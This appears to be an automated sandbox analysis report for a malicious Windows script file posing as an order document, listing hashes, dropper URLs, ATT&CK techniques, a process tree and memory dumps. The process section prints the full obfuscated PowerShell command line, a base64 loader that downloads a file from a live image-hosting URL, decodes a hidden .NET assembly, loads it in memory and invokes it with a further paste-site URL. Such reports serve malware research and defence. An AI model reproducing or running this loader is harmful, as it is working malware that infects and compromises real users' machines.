4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

General

Target

nr101612_Order.wsf
Size

3KB
MD5

2351b140cfa13f0cf05f93b471edd1f6
SHA1

aab24f356405a117ce7df0016b131872fb1b2f16
SHA256

4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17
SHA512

bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	2212	WScript.exe
4	2212	WScript.exe
8	2872	powershell.exe
10	2872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2872	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	Process	procid_target
PID 2212 wrote to memory of 2872	2212	WScript.exe	30
PID 2212 wrote to memory of 2872	2212	WScript.exe	30
PID 2212 wrote to memory of 2872	2212	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nr101612_Order.wsf"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JHBsdW1hY2hvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29udm9jYXIgPSAkcGx1bWFjaG8uRG93bmxvYWREYXRhKCRhbnRpdml2aXNzZWNjaW9uaXN0YSk7JGFjY2VsZXJhdHJpeiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjb252b2Nhcik7JGNoaW5jaGFycmF2ZWxobyA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskb2JjZWNhciA9ICc8PEJBU0U2NF9FTkQ+Pic7JHRhc2NhciA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkY2hpbmNoYXJyYXZlbGhvKTskbW9jYW1iZWlybyA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkb2JjZWNhcik7JHRhc2NhciAtZ2UgMCAtYW5kICRtb2NhbWJlaXJvIC1ndCAkdGFzY2FyOyR0YXNjYXIgKz0gJGNoaW5jaGFycmF2ZWxoby5MZW5ndGg7JGFuZmljYXJwbyA9ICRtb2NhbWJlaXJvIC0gJHRhc2NhcjskYWNhc3VzbyA9ICRhY2NlbGVyYXRyaXouU3Vic3RyaW5nKCR0YXNjYXIsICRhbmZpY2FycG8pOyRlc3R1ZmFkZWlyYSA9IC1qb2luICgkYWNhc3Vzby5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkYWNhc3Vzby5MZW5ndGgpXTskcGlhc3NhYmEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlc3R1ZmFkZWlyYSk7JG1lZHVsYW50ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBpYXNzYWJhKTskZ3JhZmljYW1lbnRlID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3B8C.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar3B9F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2872-4-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

Filesize
4KB

Download
memory/2872-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2872-7-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2872-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2872-8-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2872-9-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2872-10-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2872-45-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads